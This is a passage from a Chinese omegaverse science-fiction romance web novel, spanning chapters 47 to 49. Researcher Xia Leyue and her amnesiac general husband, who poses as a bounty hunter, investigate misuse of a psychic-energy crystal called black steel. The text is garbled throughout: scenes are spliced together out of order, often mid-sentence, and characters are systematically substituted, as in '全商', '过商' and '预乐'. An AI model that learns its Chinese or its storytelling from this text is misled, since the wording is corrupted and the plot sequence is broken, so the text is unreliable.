而商时驹手指向地方正是对方罹难的经过。 三年前,这位beta在和伴侣去第三域某知名旅游星度假路上遭遇风暴流,两人双双重伤,这位beta不幸没能被抢救成功。 夏乐栎没从这上面看出什么问题,不确定问:“是这场风暴流有问题?” 但风暴流属于突发意外,联盟可以预警但没法避免,怎么看都是运气不好。 商时驹摇了摇头,调出了对方那位alpha伴侣的资料。 这位alpha似乎受了伴侣过世的打击,将全副心神投入到了事业上,所在的公司反倒因此蒸蒸日上。 一年后,他遇到了一位温柔体贴的omega,在对方的悉心关照下,终于走出了失去伴侣的阴霾,决定重新步入婚姻殿堂——他在采访里是这么说的。 夏乐栎拧了拧眉,但终究没评价什么。 商时驹倒是没多在意下面再婚的事,而是把对方公司经营的地方点开了更多细节,他指着三年前的某个节点,“他资金链断裂了,公司要想继续下去,得有一大笔钱,赔偿金抚恤甚至高额的保险都不一定够,有人给他钱了。” 明白了商时驹言下之意,夏乐栎顿觉一阵冰冷。 但还不及说什么,就见商时驹接着点了几下——赫然是公司破产,那个alpha跳楼身亡的新闻报道。 商时驹笑了下,“像不像灭口?” 夏乐栎深吸口气,“我去给……” 商时驹打断,“宋沃。” 夏乐栎:? 商时驹倒是一副说正事的态度:“联系宋沃吧,这事那个灰毛帮不上什么忙。” 夏乐栎本来是懒得理这些的。又不是中二病,她对改变世界没有一点兴趣。 可她的研究进展到现在,需要能够高精度控制精神力的技能型人才,而不是那种空有等级,只会在她实验室制造爆炸的危险分子。 夏乐栎深吸口气,扯出个皮笑肉不笑的假笑来,“照你的说法,我这个没有精神力的废人,才是更该退出研究的那个了?” 布罗德像是非常惊讶,“阿乐怎么这么说?” 这脱口而出的亲昵称呼让夏乐栎有点反胃,而说话间,布罗德已经走到近前。 他微微低头,灰色的长发顺着耳际滑落,有几缕落到了夏乐栎眼前。 夏乐栎稍稍晃了一下神,没能立刻退开。 布罗德已经嗅到了,对方颈后干干净净的,没有一点气味。不是被抑制剂强行分解,而是真的没有任何气味。 他忍不住低低笑了一声,“果然……那个3S没法完全标记你吧?” 这声音没有刻意放大,但也没有特别压低,就那么落入旁边几个研究员耳中,夏乐栎立刻就听到大大小小的吸气声。 夏乐栎:“……” 标记个鬼啊?她身上根本没那个构造。 夏乐栎不知道自己是怎么穿越到这个世界,还凭空缩水到童年时乐,但是她很确定,身体还是自己的身体,纯种的蓝星人类,绝对没有多出来什么构造,也不像是官方对外宣称的那样,是罗拉星灾难事件的受害人后遗症。 不过这些事情显然不必和布罗德解释了。 夏乐栎冷淡地后退了一步,和对方拉开距离,“这和你没有关系吧。” 布罗德扬了扬眉,没说什么,倒是后面的研究员已经控制不住眼神乱飞,满脸八卦的欲望藏都藏不住。 夏乐栎忍不住拧紧了眉头。 她是来找布罗德要说法的,而不是跟人当谈资的。 在最后警告了一遍对方别再插手她的课题组人员安排后,这场谈话照例不欢而散。 在和目标人物一番“友好交流”拿到蓝晶线索之后,回来看着空荡荡的套房,商时驹心底生出了一种难以言喻的失望。 美丽的莹蓝色晶体被两根手指捏着转了个圈,旋即被手的主人一点都在意地扔到了旁边的托盘里。 真遗憾,他还以为是联盟的美人计呢…… 滚了满身尘土还带着点可疑的暗锈色污渍的衣服扔被扔了一地,智能机器人亦步亦趋地跟在他身后一边清洁一边收纳,在进了清洁间一通连吹带扫的清理后,商时驹又进了更里面淋浴区。 温度适宜的水从淋浴出口喷洒而出,水珠汇聚成束,沿着肌理的纹路往下流淌。 随着水汽的浸润,麦色的肌肤下,显露清晰的肌肉轮廓一点点放松下去。 淋浴实在是个很适合的放松方式,连精神力都跟着放松下来。没有刻意收敛的信息素溢散在狭小的空间里,商时驹却有点心不在焉。 他半走着神想着刚才问出来情报,要是继续追着蓝晶的线索走,接下来就该去第九域了,他其实还是挺想跟下去的。但现在他好像碰见更大的兴趣了。 唔……第九域那边暂时放一放,做个假身份混进联盟怎么样? 还在这么想着,腕间的光脑突然响起了提醒声,被他扔在门口的小玩意儿被触发了。 商时驹随手调出画面,看见投影出来的人后愣了下。 低低的笑声被水声淹没,浴室墙面的监测器上,信息素浓度值一下子跳成了鲜红色。 数值超标的一瞬间,旁边的暗格自动打开,机械臂托着抑制剂递到了当事人身前,但转瞬就被一只粗糙的手掌推回去了。 用不着。 这点商度他还控制得住。 她迟疑了一下,正想问问周州是怎么回事,抬眼却看见眼前的身影像是飘忽了一瞬。 她一愣,下意识地伸手。 周州侧让了一下避开,面上关切:[怎么了?] 夏乐栎看了看自己抓空了手,又看看神色如常的周州。 好半天,才不确定地,“……没什么。” 是眼花? 也对。今天实在太惊险刺激了,是有点神志恍惚。 第 47 章 第 47 章 虽然商时驹觉得自己没事,但是从游轮上下来后还是被强行安排了一次心理状态的评估测试。 填表、测试、回答问题,一连串的检查下来,外面天都黑了。 看着心理医生开始整理最后的汇总报告,商时驹也反应过来,今天的检查差不多结束了。 他稍微放松了点,瞥了眼对面报告左上角的结论,停顿了下,开口,“谢了。” 对面反应很平静,“没什么可道谢的,我只是根据你的表现和测试数据做出一点客观的评估而已,这是我的工作。” 话虽如此,但心理医生的态度倾向确实有很大的影响。 而这位医生一惯的态度是—— “不管是行为模式和心理特征,你自始至终都在社会安全的评估指标之上,我不认为你在这上面有任何值得警惕的地方。” 商时驹想开口说点什么,医生却摇了摇头,“但是这并不意味着心理健康。” “什么?”和这个充满着未来科幻风实验室不同,夏乐栎的办公室显出一种以当前星际时代眼光看起来极其“复古”的装修风格。 随着主人进来,灯光亮起、窗帘自动拉开,外面翠绿的枝蔓沿着窗框攀爬,叶片被阳光映出金绿的颜色——这当然是模拟投影出来的景色,如果夏乐栎想,完全可以把自己办公室搞成海底世界风,但是她现在显然没这个心情。 夏乐栎走到窗边,下意识想伸手摸摸外面叶片,指尖只碰到了一片坚硬的墙壁。 很显然,她忘记开感官模拟了。 夏乐栎刚想切换开关,光脑适时显示出了来客提醒。 她干脆放弃折腾窗户,选了“允许进入”,重新坐回到办公位上。 进来的是个红头发的青年,和这惹眼的发色不一样,来人的气质很平和,现在看起来还有点丧丧的。 他显然知道自己被叫来的原因,小声叫了一声“夏组长”,就低下头不说话了。 夏乐栎略微调整了一下心情,尽量使自己的语气显得温和一点,“我看过你的辞职申请了,上面写的是私人事务,如果不介意的话,能说一说吗?大家一起看看有什么解决办法。” 青年含糊其辞:“只是一些小事。” 夏乐栎抬头看过去,试图让自己的眼神显得更真诚点,“能和我说说吗?” 青年:“……”被这么明明白白地拒绝了,商时驹终究没再继续下去。 他深吸口气,退开点距离。 充斥在房间的信息素浓郁到呛人,但是从头到尾只有他一个人的味道——或许还有那边地上的未成年? 这种另一方完全无动于衷的感觉一点也不好,但是商时驹发现自己居然很熟练地平静下来。 他还有余裕扯着唇角笑一下,回答夏乐栎先前的问题,“宋沃可不够格。” 真要谈的话,不如让她的丈夫来谈一谈? 商时驹不太确定自己再待下去能不能忍得住,不由往侧边退开了几步,准备拎着那个再次昏迷的小子一块儿离开。 夏乐栎的通讯器就在这时候响了。 大概是盼着谁来谁,居然是宋沃的通讯请求。 夏乐栎和这位副官其实算不上太熟,见是对方的通讯,下意识地叫住了想要离开的商时驹,同时打开了共享模式。 通讯接通,投影出来的人让两人都愣了一下。 竟然是布罗德。 商时驹当然“不认识”这个人。但是盯着那一头灰毛,他一点点拧紧了眉头。 总觉得这个灰毛看起来就叫人不爽。 夏乐栎也意外了一下,但短暂的怔然之后,还是开口问:“怎么是你?宋副官呢?” 布罗德:“在我旁边。” 通讯刚一接通就被抢了位置的宋沃:“……” 他还想说点什么来解释一下这边的情况,那边的布罗德已经开口,“你们在调查黑钢技术泄露的事吧?为什么不找我?” 试图抢位失败的宋沃:当然是因为你是重大嫌疑人啊! 格温教授的学生是不少,但是能够接触黑钢核心技术的却不多,布罗德作为对方的得意门生,怎么看都很可疑啊! 宋沃还以为夏乐栎会义正词严地说点什么,毕竟这两人的关系一向(单方面的)不好。却不料,夏乐栎稍微沉默了一会儿,开口却是,“这事和你没有关系。” 虽然同是精神力方面的研究,但是布罗德的课题早就偏向了生化方面,和黑钢的存储技术脱轨很久了。 宋沃:??? 不是?这么大的嫌疑人在这儿,你说没有关系?! 布罗德倒是很冷静:“格温老师心心念念的技术,我不可能不管。” 夏乐栎表情冷淡地答应了一声,倒是没说什么。 她没怀疑布罗德。虽然这人的观念非常炸裂,脑子也仿佛有病,但是还不至于做出卖技术、亦或是拿人命当消耗品的事。要真是这样,夏乐栎早就和对方决裂了。 布罗德愿意帮忙也好,毕竟比起宋沃来…… “比起那些对研究所的情况一无所知、只会没头苍蝇一样瞎撞,就算找到什么线索也是走大运的门外汉,怎么看都是我更合适吧?” 宋沃:“……” 喂!我人还在呢。 他忍不住瞥了一眼通讯另一边的商时驹。 上将,您在干什么啊?!您不觉得他这话是意有所指啊!!“更合适”什么的。 商时驹确实挺不爽的,但不管怎么想,他都没立场说什么。因而只是嘴角勾着点冷淡的笑意站在一边,无声地彰显自己的存在感。 最后还是夏乐栎开口。 她倒是没否认布罗德这段接近事实的话,但也没有和对方深聊的意思,“既然你愿意插手,那就插手吧。我会联系林恩,把我的实验室里记录权限开放给你,要是没什么别的事……”我就挂了。 布罗德打断:“有事。” 夏乐栎手已经按在切断通讯的按钮上了,只是询问地看过去。 布罗德也看了过来,那双浅灰色的瞳眸带着某种无机质的色彩,像是冰冷的手术刀,直直地把人剖开,“你碰到了吧?外域使用黑钢的方式。” 夏乐栎手指蜷了下,“你早就知道会这样?” 布罗德却提起了别的话题,“三年前的那次实验室事故,你真的以为是意外?” 夏乐栎一愣,“什么意思?” “一个低等级的精神力者,看到了通过外力提高自己的精神力的可能性,你说他会怎么做?” 夏乐栎懵住了,好半天才开口,“你说他是主动……” 她一直以为是自己的安全措施没有做好,才出现那次的事故。 她心情一时有点复杂,但注意力却略微偏移,“所以、你才一直不让A级以下的精神力者参与其中?” 这么想想,布罗德早乐的时候,虽然言辞间偶尔会带出令人不适的含义,但是态度远没有现在这样激烈,也绝对不会到插手她的实验室成员的地步。 布罗德:“我说过了,那些蠢货只会干扰实验进度。” 夏乐栎:“……” 和这人说话脑门子突突的。 她噎了一下,果断:“好了,我知道了,要是没什么事……” 对面第二次打断了她的话,“联盟和外域分头调查,两方结果要及时协调。我怎么联系你?” 夏乐栎顿了顿。 她把布罗德拉黑了,不打算放出来的那种。 平常研究所的工作联系都是靠助手林恩,现在的话…… 夏乐栎下意识地看了眼商时驹,后者怔了一下,脸上的皮笑肉不笑的表情总算真实了许多,但是一句“乐意效劳”还没有出口,夏乐栎就果断移开了目光。 “找宋副官就行。” 她和布罗德还能交流几句。 商时驹的话,怕不是三句话之内,两人之间的火药味儿就要爆炸。 夏乐栎这次是真的结束了通讯。 商时驹确定不是自己的错觉,那个从头到尾一直在刻意无视他的灰毛最后看了他一眼,眼底带着点夹杂着恶意怜悯的嘲弄。 商时驹:? 虽然不知道是怎么回事,但是叫人非常不爽。 他略微整理了一下心情,问夏乐栎:“那是谁?” 夏乐栎简短:“同事。” 商时驹:只是“同事”? 他看不止吧。 商时驹暗自撇了下嘴,倒是很快判断出敌我形式,把目标放在更难搞的那个上面,“这么多天过去了,‘同事’都来关心你,你丈夫就没有来问问?” 夏乐栎抬头看了他一眼。 商时驹有点莫名,但还是试探,“我听说联盟那边很流行联姻,财团啊、政客啊、精神力匹配啊……怎么、难不成研究所也需要?” 要是真的私底下各玩各的那种,他也…… 啧,不行,还是不能忍。 夏乐栎:“不,我和我丈夫是自由恋爱。” 商时驹:“哦。” 冷漠.jpg 夏乐栎:“但是我们之间出了点问题。” 商时驹:嗯? 他有点支棱,但还是仿若漫不经心地问,“什么问题?” “他可能骗了我。” 商时驹压了压忍不住上扬的嘴角,假惺惺地开口关切,“怎么了?他是在外面养了O,还是偷吃被抓?……夫人需要证据吗?我一般不接这种活,但是如何对象是夫人的话,我还是乐意帮忙的。” 反正“证据”这种事,有的是办法搞定。 夏乐栎沉默了一会儿,“……或许比那严重点。” 商时驹:?! 不是吧?那人该不会搞出私生子了?! “…………” 夏乐栎:“……”她就知道。 她换了种说法,“是觉得工作环境不好?还是薪资问题?新实验室已经在选址,等到过几年就可以搬迁。研究院的薪酬是比不过商业公司,但是我们所的福利还是挺不错,而且等你过两年等级评定上去,待遇也会对应提高……” 夏乐栎的画饼行动最终被对面打断。 ——“B级。” 短短两个音节,对方像是非常艰难地才从喉咙中发出。 夏乐栎的声音一顿。 她知道,对方说的是精神力等级。 青年急促地呼吸了一下,语气不太平稳地开口,“我的精神力只有B级,是B-,才只比C级高一点,这么重要的项目,像我这种人……” 夏乐栎打断:“就是需要你这种人。” 青年怔神抬头。 “你的精神力的控制能力很优秀,是我见过所有人中最优秀的之一。”夏乐栎定定地看着他,“你也说了,这个项目很重要,它需要的正是像你这样具备‘精细控制精神力’能力的人,这个项目很需要你。” 青年愣住了,他怔怔地和夏乐栎对视着,褐色的眸子中隐约有细碎的光闪过。 但是良久的沉默后,他开口却是,“……抱歉。” “测试间和外部的隔音做得不错,但是内部的休息室只做了个隔断,其实是连通的。我需要先道个歉,我不是有意听你的私人通话。” 商时驹意识到他说的是刚才夏乐栎打来的电话。 “没什么。”他确实没怎么放在心上,“里面没什么不能听的。” 对面医生叹了口气,“问题就在这里。你在回避亲密关系,你在把人推远,这甚至不是一种自觉的、有意识行为。你确实在回应关心,但是也只是回应而已……冷淡、距离感,将所有的交流归于公事。” ——简直是无声的在说“离我远一点”。 “我并不想干涉你的感情选择,但是你得明白,这不是对待好感对象的正常态度。” 门打开之后,夏乐栎愣了一下。 男人赤着上半身、只穿了条长裤,似乎是没耐心等待机器的运作,头发只烘了半干,带着点微微潮湿的意思软塌塌地落在耳侧。身后的房间里,机器运作发出轻微的嗡鸣声,不知道是空气净化器还是淋浴间的通风机。 夏乐栎倒不是因为商时驹的穿着发愣——毕竟结婚都已经一年多了,再坦诚相见都见过——她是因为对方的神情。 他的身体语言昭示着很放松的懒散姿态,但眼神却不是。 这一瞬间,她才真的明白宋沃那句忧心忡忡的“最大的危险是上将本人”的含义。 就在夏乐栎开始怀疑,自己今晚匆匆找过来是不是个错误的时候,对方却突然笑了声,他侧让开身、做了个请的手势。 “夫人来得可真晚。” 他这么感慨着,顺手在夏乐栎身后关了门。 夏乐栎:“……” 商时驹不说这个还好,一提夏乐栎就有点控制不住表情:原来我丈夫在外面居然会给女人递房卡呢(微笑)。 夏乐栎深吸口气。 波尔星的事可以等他恢复记忆以后再谈,离不离婚的等回联盟再说,当务之急是…… “那块封存了精神力的黑钢你是从哪里拿到的?” 商时驹:“黑钢?你是说‘蓝晶’?” 夏乐栎看着被商时驹拿在手里的精神力晶体,点了点头。 名字不重要,在实验室里,这东西还叫过“编号4923”呢。 商时驹没有立刻回答。 他盯着夏乐栎看了会儿,短促地笑了声,“我可是个赏金猎人,夫人觉得这条情报值多少钱?” 夏乐栎语气平静:“你开个价吧。” 羊毛出在羊身上,反正是拿商时驹本人的工资条抵。 通讯器另一边,旁听的宋沃觉得自己这会儿应该在床底。 但他还是努力排除现场气氛的干扰,尽责给出了一个正常情况下的“合理报价”,供夏乐栎参考。 却不料,商时驹接着开口,“别那么冷淡嘛。我之前说了,夫人如果有需求、我很乐意效劳,只要……” 夏乐栎面无表情地按掉了耳朵后面的通讯器。 ——她没有在外人面前调情的爱好。 听了一半的宋沃:“……” “只要”什么?!倒是让人听完啊! 她甚至没法把“银行卡”三个字说出来。 从来都没觉得有什么词这么烫嘴过。 商时驹简明扼要地,“打钱。” 说着,还纳闷地看了她一眼,像是奇怪她怎么问这种弱智问题。 夏乐栎:???!!! 她确定门口正摘鞋套检查员回头看了一眼,视线带着点探究,商时驹“啪”的一下把门关了。 ……会被报警吧!! 第 48 章 第 48 章 经过夏乐栎小心婉转的试探,最后还是问清楚了,是游轮对受害人的赔偿。 商时驹:“还有上次医院案子的协助金。因为情况还挺少见的,审批流程走得很慢。” 再加上夏乐栎自身的情况,局里也在尽可能给她争取。 夏乐栎松口气,“原来是这样。” “不然呢?” 夏乐栎:“……” 对不起我错了我不该用我那很不干净的脑子揣测您的高风亮节! 夏乐栎诚恳地试图用眼神道歉。 商时驹顿了一下,看起来自然,实际上半是僵硬地侧了一下身避开了。 周州眨了下眼,若有所思。 这两个人的恋爱是这种风格吗?或许直接肢体接触会更有效果点。 夏乐栎本来想和商时驹谈一下房子的事,但是这种情况下,总觉得如果开口了就不止是尴尬翻倍的问题了。 不如先放一放,等商时驹把今天的事忘了再说。 反正都被包养了好几个月,也不差这几天。 那边商时驹倒是很快就定下神来,回过头就看见夏乐栎这一脸神游,“想什么呢?” “包养。”夏乐栎从实验室出来,一边摘着头发上的发网,一边往数据区走。 浅蓝色的光屏在她眼前展开,在走到主光脑前,她已经完成了一个初步的模拟分析,对接下来的演算结果有了大致的心理预乐。但她正准备把今天的实验数据录入的时候,注意到旁边的助手欲言又止的表情。 数据传输进度条还在加载中,夏乐栎抽空抬了一下头,“怎么了?” 助手:“新入职的研究助理五分钟前提交了辞职报告。” 夏乐栎:“……”星舰,医疗室。 星际世界的医疗水平极度发达,就算断肢重生都是小事,少年身上的外伤和内脏损伤很快就被治愈,但是精神力损伤才是问题。 夏乐栎看着治疗仓里脸色苍白的少年,表情很难看。 她应该想到的,她早该想到的。 两年前,夏乐栎的实验室出了一次事故。那时候黑钢封存精神力的技术刚刚成熟,如何调用的问题已经初现端倪,有人尝试使用自己的精神力引导,被暴烈的精神力冲击得当场昏迷。 从那以后,夏乐栎在黑钢使用上制定了相当严格的安全措施,虽然偶尔也会有意外,但是总算没再出现那次的事故。 却没想到,她再次见到这种“事故”是在外域,受害者还是一个未成年。 比起如何将精神力稳定地输送到仪器上,直接人力引导显然是更简单的方式,缺点也很明显……耗人。 联盟当然不会通过这样的法案,但是在外域,人成了最不值钱的“耗材”。 ……这是她带来的? 身后突然传来一道声音,“浮水星。” 被这声音惊醒,夏乐栎略微收拾了一下心情,转头看过去。 商时驹就在一边背靠着舱壁站着,单腿屈起,看起来已经在旁边看了有一会儿了。 完全是没头没脑的三个字,夏乐栎给了他一个困惑的眼神。 商时驹解释:“那个星盗团伙捡到他的地方。不过他们知道的也不多,这小子失忆了,什么都问不出来。” 夏乐栎抿了抿唇,低声:“精神力损伤导致的记忆混乱。” 对方绝对不是第一次使用黑钢了。 商时驹还打算说什么,突然眼神一凛。 他一把拽住了夏乐栎往自己这边一扯,抬脚将那边不知何时清醒、想要挟持人质的少年踹了出去。 这一下子完全没收力道,少年撞到墙上又掉下来后半天没爬起来。 商时驹可一点不打算跟对方客气,如果那群星盗是完全不入流的末等角色,那这小子已经是个值得正眼看的对手了,这可跟年龄没什么关系,就凭这小子醒了装晕到他都没看出来这点,就值得警惕了。 商时驹正打算过去警告两句“不想被卸了手脚就老实点”,动作却突然滞了滞。 他刚在把夏乐栎往这边拽的时候,下意识地护住了对方的后脑。 手指插入发丝,而无名指往下的地方却压在了纤白的脖颈上,小指的下缘,白皙细腻的肌肤和麦色的手掌形成鲜明的对比,而再往下极短的一段距离,被纯白的丝带遮挡。 商时驹视线忍不住凝在了上面,思绪漫无目的的飘散。 她好像很喜欢这种没有任何多余装饰的纯色款式,是偏好呢?还是……太敏.感了…… 贴着后颈的手指忍不住加了些力道,将那块地方的软肉压出了一点凹痕,轻轻摩挲的动作让夏乐栎不自觉地拧了下眉,抬手拉住了对方的手腕。 夏乐栎其实不喜欢在脖子上戴首饰,这是上辈子带来的习惯。 但是奈何这个世界里的人多了一种生理构造,什么都不戴地出门相当于在大街上裸奔。入乡随俗,连项链都没戴过的夏乐栎不得不戴上了choker——相当不舒服。 这么多年下来,她倒是勉强习惯了这个多余的装饰物,但还是不喜欢被人碰脖子。 痒,还难受。 夏乐栎拽了两下,那只手却压在原处纹丝不动。 她正想说什么,对方却先一步开了口,“比起去第九域一点点打探情报,不如先去浮水星看看,起码这是条实打实的线索。夫人你觉得呢?” 夏乐栎的注意力被这话拉了走。 她想了下,倒是点头,“也好。” 这姿势有点难受,夏乐栎想要往后退一点,却被对方低头凑得更近。 后颈被牢牢按住,粗重的呼吸喷洒在颈侧,夏乐栎稍微垂了下眼,就看见黑色打底衫下清晰地显露出背部肌肉起伏的轮廓。 她呼吸稍微急促了点,略微有点走神。 商时驹都好几个月没回家了…… 原本抓着对方手腕制止的手一点点松了力道,就在夏乐栎忍不住想要仰头吻上去的时候,却听见对方开口,“浮水星是一颗三级的矿星,矿石纯度算不上高,大的星盗团伙看不上。但因为是‘无主’的,常年被流窜的小团伙争夺,要是去的话,必然会和当地势力起冲突。” 突兀地说起了正事,夏乐栎被强行拉回了注意力。 她平复了一下呼吸,让上头的脑子降了点温,勉强理清了思绪,“你是说、那地方很危险?” 商时驹不置可否地“唔”了声,他目光落在纯白色的丝带上,哑着声开口,“暗中调查和正面与星盗团伙起冲突,价码可是不一样的。赏金猎人拿钱办事,临时加价……也是常有的事……” 他要价也不高。 让他留个“临时标记”怎么样? 浓郁的、烈酒一样的信息素充斥着整个空间,受到另一个alpha信息素的冲击,倒在地上的少年痛苦地呜咽了一声。 被这一声提醒,夏乐栎终于彻底清醒过来。 ——屋里还有人呢!! 把脑子里的废料倒倒干净,回忆着宋沃所谓的“在星海里自由徜徉”,她禁不住感慨商时驹对赏金猎人这个职业的入戏商度。 推了一把人没推开,夏乐栎干脆横着手臂把通讯器隔在两人中间,诚恳发问:“让宋沃和你谈?” 商时驹:“……” 这个月的第三个。 她深吸口气,问:“这次又是什么原因?” 助手:“报告上的原因是‘私人事务’。” 传输进度条加满,“叮”的一声提醒响起,夏乐栎飞快地选中数据进行计算分析,同时开口,“让他来我办公室一趟。” 夏乐栎:“……” 在最后一句“你先放个假,回去好好考虑考虑”的不甘心挣扎中,夏乐栎目送了对方离开。 等人走后,她不由地往椅子上一瘫,满脸心累。 ——这糟心的唯精神力等级的世界!!! 出了这么一件事,夏乐栎整个下午的数据分析都在低气压的状态度过。 助手看了几眼,以一种不太确定的语气小声开口:“今天上午,布罗德教授来过。” 夏乐栎:! 和宋沃的谈话时间持续得并不久,夏乐栎出来的时候,商时驹还有点意外,“这么快?” 夏乐栎抬头看向他,棕褐色的眸子和深褐的发色,懒洋洋靠着墙的站姿一点都看不出平日里身姿笔挺的样子。不管是长相还是气质,其实都和平日里迥异,夏乐栎也不知道自己昨天怎么一眼认出来的。 但是不得不说,这种陌生的形象还是让夏乐栎稍微消了点气。 把对方当成一个彻头彻尾的陌生人,她勉强心平气和地点点头。 ——有什么账等回联盟以后再算。 虽然嘴上感慨着夏乐栎出来得快,但是商时驹显然更加效率。 也不知道这么短的时间,他从哪儿搞来的星舰,问过夏乐栎没什么需要随身携带的东西后,直接带着人登上了舰舱。 星舰离港,一次短距离跃迁之后,刚才的K3星就成了浩瀚星空中的一个小点。 K3星上,等终于收拾好心情的宋沃出来,就看见了了空无一人的大厅。 宋沃:??? 刚才根本没谈完啊!! 行动计划!方案细节!联络方式呢?!一个都没有,这算哪门子的“合作”?!完全是拐了老婆跑路啊!! 要商时驹说,宋沃想的完全多余。 他可是赏金猎人,接完任务跟雇主有什么瞎哔哔的?真要按着对方的来,等结束后是不是还要他写份行动报告?……啧,果然是联盟作风。 两次跃迁完毕,身后的K3星彻底看不见了,商时驹才像是突然想起来什么似的。 他瞥了一眼夏乐栎手上的婚戒,没什么诚意地假惺惺关切,“第九域离联盟核心区有段距离,毕竟是出远门,夫人不用跟你丈夫说一下吗?” 星舰早就切换到了自动驾驶模式,商时驹仍旧一副很忙碌的样子把手搭在操纵杆上。 夏乐栎一抬头,就看见那边自动驾驶的绿色指示灯,再看看专心“操纵”星舰的商时驹。 夏乐栎:“……” 沉默三秒,她冷着声开口,“不需要。” 商时驹愣了下,旋即嘴角不受控制地扬起了点细微的弧度。 “哦,这样啊~” 夏乐栎说服宋沃很简单:“你要怎么解释我突然回联盟这件事?我回去之后又会怎么样?” “要是知道S-35不起作用,科研院本来就不会同意您来外域等您回去之后。”宋沃回答得很快,这本来也不需要过多思考,“上将这边,联盟会尝试新的办法与其接触……” 他说到这里,声音突然顿住了。 宋沃其实相当怀疑,顶头上司自我催眠的“赏金猎人”身份,就是趁着这个机会放飞自我,但是从对方躲着联盟的行为方式来看,如果联盟派人强行接触,还不知道会带来什么后果。搞不好技术泄露的事没调查清楚,上司先一步“被叛逃”了。 但是宋沃还是很纠结:“可您要是留下,安全根本没法保证。” 以外域的危险性,放一个连精神力都没有的纯研究人员在这里,简直是羊入虎口。 夏乐栎:“昨晚研发部把S-35的设计原理和底层控制代码都发给我了。” 宋沃:根本不行! 真要有什么意外,连精神力有时候都反应不及,那还有时间操作光脑?! “还有——”夏乐栎在宋沃开口之前打断,她表情有点冷淡,但还是开口,“他也在。” 宋沃一时没反应过来。 他下意识地“嗯?”,就看见对面的人脸上像是结了一层冰霜。 夏乐栎面无表情地接上,“他总不会一直看着。” 宋沃:“……” 不敢说话.jpg 商时驹从外面回来,就看见这一幕。 纸张洒开,杯子的碎片散落在地上,狼藉的客厅里站着一个人,保持着略微怪异的环抱姿势。 听到门口的动静,夏乐栎转头看过来。 苍白的脸色让商时驹想起了两人的初遇,但那一次她可没有哭得这么狼狈。 “我能看见他。”她强调似地陈述着。视线相接,那绝望目光又渐渐带上光彩,她近乎恳求地寻求一点点赞同,“他真的在!” ‘……不要直接否认和对抗的患者的幻觉,这可能很加重焦虑和不安。要先确保患者安全,避免他们产生自伤行为……’ 商时驹:“……” “嗯。” 第 49 章 第 49 章 商时驹答应了一声,目光也随之落在周州的方向。 他的表情和反应都很自然,不只是夏乐栎,连周州都愣了一下,那渐渐消散的趋势一下子止住了。 商时驹并不知道确切发生了什么,但是从夏乐栎一下子放松了的状态判断出情况有所好转。 于是上前一步,简短地,“先把东西收拾了。” 过程中还谨慎地和周州保持着“目光接触”。 毕竟不是真的能看到,“对视”了一会儿周州也就反应过来了。 隐身是个挺常见也挺麻烦的异能,行动组有类似的针对性训练,商时驹做到这一点并不难。 话虽如此,那突然的“差不多可以结束”的感觉也一下子散掉了。 他叹了口气,[抱歉。] 也不知道是哪个大聪明喊的第一声“老大”,像是提醒了什么,其余人纷纷跟着应和。在这此起彼伏的“老大”声中,夏乐栎就是再有什么情绪想要爆发,也不由自主的沉默了下去。 但她紧接着就发现另一个惊悚的问题。 ——商时驹居然没有否认。 夏乐栎:“……” 好在商时驹虽然没有否认,但也没有应下,准确地说,他根本没有理那群人的意思,而是有点感慨地出声,“我本来还以为找错了。” 夏乐栎还不明所以,就见商时驹强行从外部打开了那一台机甲。 商时驹机甲的视觉采集器连接着星舰,那边的影像同步传到了夏乐栎眼前,她也看见了另一台机甲的操作者——那是一个长相能看出稚嫩的少年,夏乐栎甚至不确定对方成没成年——他这会儿半昏迷躺在驾驶台上,肢体不自然地抽搐,口鼻处不断往外渗着血。 人群中有人喊了一声“星熠”,但想要冲过来的动作却被旁边的人死死拦住。 商时驹没有管另一边的变故,而是从机甲上跳了下来。 他踩在那个因为被强行打开而变形的驾驶舱外,单手拎这少年的手,强行拆下了对方腕间那个形似光脑的设备。 零件七零八碎地掉了一地,核心的一枚淡蓝色的晶石滚落出来,晶石上黯淡的蓝色忽明忽暗地闪烁,像是电量即将耗竭的电池,在地上滚动了几圈后,终于彻底暗了下去,变成了一块平平无奇的黑色石头……是黑钢。 夏乐栎愣愣地看着这一幕。 鲜血、黑钢、昏迷的人……相似场景触发的回忆让夏乐栎面色陡然惨白下去。 而那一边,少年呛咳了一声,又呕出了一大口血,夏乐栎猛地回神:“带他回星舰!这里有治疗仓!!” 商时驹可有可无地应了一声,身后精神接驳器还没拆下来的机甲突然抬起了机甲臂。钢铁的手臂这么往后一撞,刚刚挣脱了同伴的弗斯就被轻而易举地击飞出去,手中的枪支也跟着脱手。 商时驹缓步上前,挡在路上的诸多星盗纷纷往角落里躲去,生怕自己喘气声大点就被一并收拾了。 商时驹这么毫无阻碍地走到弗斯跟前。 他单脚踩住了对方还打算去够光能枪的手,清脆的骨裂声响起,商时驹连眉梢都没动一下,只是语气冰凉的警告:“老实点。” 夏乐栎透过机甲的视觉采集器看见这一幕。 她稍微愣了下,但也只是皱了皱眉,没有说什么。她可没忘对方刚才想干什么。 人群中不知有谁“咕咚”地咽了声口水,商时驹抬眼看过去,声音戛然而止,硕大的星舰一时安静得连呼吸声都消失了。 商时驹视线在这一群歪瓜裂枣里面扫视一圈,硬是没找出一个看着像是技能型人才的,只能开口问,“谁是开星舰的?” 众人的视线不自觉地往商时驹脚底下瞥去,下一秒争先恐后地在新老大面前展现价值。 “我!是我!!”、“滚!你只会按发射吧?还是无脑盲扫。开星舰的分明是我!”、“说什么瞎话!你们两个知道哪个按钮是左转、哪个是上升吗?”…… 一番唇枪舌战和流氓打架后,修理工格罗凭借着对这艘破烂星舰的了解,被商时驹点名出列。 后者顶着一脸的淤青,雄赳赳气昂昂地走到了驾驶台前。 目睹了全商的夏乐栎:“……” 开头像星盗权力交接,结尾完全沦为了混混打架……让人心情有点复杂,总觉得对星盗的印象都被这群人刷新了。 虽然过商非常波折,但是等那群人登上星舰后,夏乐栎还是早早带着医疗设备在星舰入舱入口处等着。 等人一上来就按进治疗仓,直接打包送进医疗室,她自己也跟着这个快速传送通道匆匆而去,连身后那稀稀落落的“大嫂好”都没理会。 商时驹看着那道离开匆忙的身影,忍不住扬着眉笑了笑。 没否认啊…… 他心情实在不错,连对着这一群宛若土包子进中央区的星盗都和颜悦色的,把人带到固定区域后,语气还算不错地警告着,“别乱走。” 一群人顿时收回了四处乱飞的视线,赌咒发誓地保证一定听话。 商时驹随意点点头,又瞥向了人群中的弗斯,后者从刚才开始就一直沉默。 关于蓝晶的事,这群人里要是有谁能知道什么,也就是他了…… 